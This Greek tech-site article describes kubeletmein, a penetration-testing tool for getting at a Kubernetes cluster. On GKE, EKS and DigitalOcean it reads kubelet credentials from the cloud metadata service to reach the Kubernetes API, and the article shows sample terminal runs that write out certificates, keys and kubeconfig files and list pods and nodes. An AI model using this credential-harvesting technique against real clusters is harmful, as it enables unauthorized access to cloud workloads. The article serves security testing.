kubeletmein: Πρόγραμμα ασφαλείας για Kubernetes

Το kubeletmein είναι ένα απλό pentest εργαλείο που εκμεταλλεύεται τις απειλές του cloud σε ένα σύμπλεγμα από Kubernetes, προκειμένου να αποκτήσει πρόσβαση στο API k8s.

Αυτή η πρόσβαση μπορεί να χρησιμοποιηθεί για περαιτέρω έλεγχο των εφαρμογών που εκτελούνται στο cloud ή σε πολλές άλλες περιπτώσεις, που διευκολύνουν τον πλήρη έλεγχο των Kubernetes.

Υποστηριζόμενοι πάροχοι και χρήση

GKE

Το GKE ( Google Kubernetes Engine) υποστηρίζεται πλήρως και βασίζεται στην απενεργοποίηση όλων των κρυφών metadata.

root@kubeletmein-vulnerable:/# kubeletmein generate
2021-03-04T22:25:52Z [ℹ]  fetching kubelet creds from metadata service
2021-03-04T22:25:52Z [ℹ]  writing ca cert to: ca-certificates.crt
2021-03-04T22:25:52Z [ℹ]  writing kubelet cert to: kubelet.crt
2021-03-04T22:25:52Z [ℹ]  writing kubelet key to: kubelet.key
2021-03-04T22:25:52Z [ℹ]  generating bootstrap-kubeconfig file at: bootstrap-kubeconfig
2021-03-04T22:25:52Z [ℹ]  wrote bootstrap-kubeconfig
2021-03-04T22:25:52Z [ℹ]  using bootstrap-config to request new cert for node: kubeletmein-node
2021-03-04T22:25:53Z [ℹ]  got new cert and wrote kubeconfig
2021-03-04T22:25:53Z [ℹ]  now try: kubectl --kubeconfig kubeconfig get pods
root@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig get pods
NAME                     READY   STATUS    RESTARTS   AGE
kubeletmein-vulnerable   1/1     Running   0          12m
root@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig get nodes
NAME                                                  STATUS   ROLES    AGE   VERSION
gke-kubeletmein-kubeletmein-vulnerabl-6623dbee-mgkd   Ready    <none>   11m   v1.18.12-gke.1210

 

EKS

Η υποστήριξη για το Amazon Elastic Kubernetes Service προστέθηκε αρχικά από τον @airman604 με βάση το script εκκίνησης AWS EKS. Αυτό επεκτάθηκε για να παρέχει υποστήριξη για διάφορους τύπους δεδομένων του χρήστη, που συναντώνται στο EKS.

Συγκεκριμένα, θα υποστηρίζει μορφές cloud-config και shell script. Στην τελευταία περίπτωση το πρόγραμμα, προσπαθεί να αναλύσει τα ορίσματα της γραμμής εντολών /etc/eks/bootstrap.sh και να ανακτήσει τις τιμές που χρειάζεται από εκεί.

~ $ kubeletmein generate
2021-03-02T21:37:59Z [ℹ]  running autodetect
2021-03-02T21:37:59Z [ℹ]  EKS detected
2021-03-02T21:37:59Z [ℹ]  fetching cluster information from user-data from the metadata service
2021-03-02T21:37:59Z [ℹ]  getting IMDSv2 token
2021-03-02T21:37:59Z [ℹ]  getting user-data
2021-03-02T21:37:59Z [ℹ]  generating EKS node kubeconfig file at: kubeconfig
2021-03-02T21:37:59Z [ℹ]  wrote kubeconfig
2021-03-02T21:37:59Z [ℹ]  then try: kubectl --kubeconfig kubeconfig get pods

 

Digital Ocean

Υποστηρίζεται από προεπιλογή, η DO παρέχει creds από metadata και αυτό δεν μπορεί να απενεργοποιηθεί.

root@kubeletmein-vulnerable:/# kubeletmein generate
2021-03-04T23:39:46Z [ℹ]  running autodetect
2021-03-04T23:39:46Z [ℹ]  DigitalOcean detected
2021-03-04T23:39:46Z [ℹ]  fetching kubelet creds from metadata service
2021-03-04T23:39:46Z [ℹ]  writing ca cert to: ca-certificates.crt
2021-03-04T23:39:46Z [ℹ]  generating bootstrap-kubeconfig file at: bootstrap-kubeconfig
2021-03-04T23:39:46Z [ℹ]  wrote bootstrap-kubeconfig
2021-03-04T23:39:46Z [ℹ]  using bootstrap-config to request new cert for node: kubeletmein-node
2021-03-04T23:39:46Z [ℹ]  got new cert and wrote kubeconfig
2021-03-04T23:39:46Z [ℹ]  now try: kubectl --kubeconfig kubeconfig get pods
root@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig get pods
NAME                     READY   STATUS    RESTARTS   AGE
kubeletmein-vulnerable   1/1     Running   0          6m12s

 

Μπορείτε να κατεβάσετε το πρόγραμμα από εδώ.

iGuRu.gr The Best Technology Site in Greeceggns

Get the best viral stories straight into your inbox!















Written by Anastasis Vasileiadis

Οι μεταφράσεις είναι σαν τις γυναίκες. Όταν είναι ωραίες δεν είναι πιστές και όταν είναι πιστές δεν είναι ωραίες.

Αφήστε μια απάντηση

Η ηλ. διεύθυνση σας δεν δημοσιεύεται. Τα υποχρεωτικά πεδία σημειώνονται με *

Το μήνυμα σας δεν θα δημοσιευτεί εάν:
1. Περιέχει υβριστικά, συκοφαντικά, ρατσιστικά, προσβλητικά ή ανάρμοστα σχόλια.
2. Προκαλεί βλάβη σε ανηλίκους.
3. Παρενοχλεί την ιδιωτική ζωή και τα ατομικά και κοινωνικά δικαιώματα άλλων χρηστών.
4. Διαφημίζει προϊόντα ή υπηρεσίες ή διαδικτυακούς τόπους .
5. Περιέχει προσωπικές πληροφορίες (διεύθυνση, τηλέφωνο κλπ).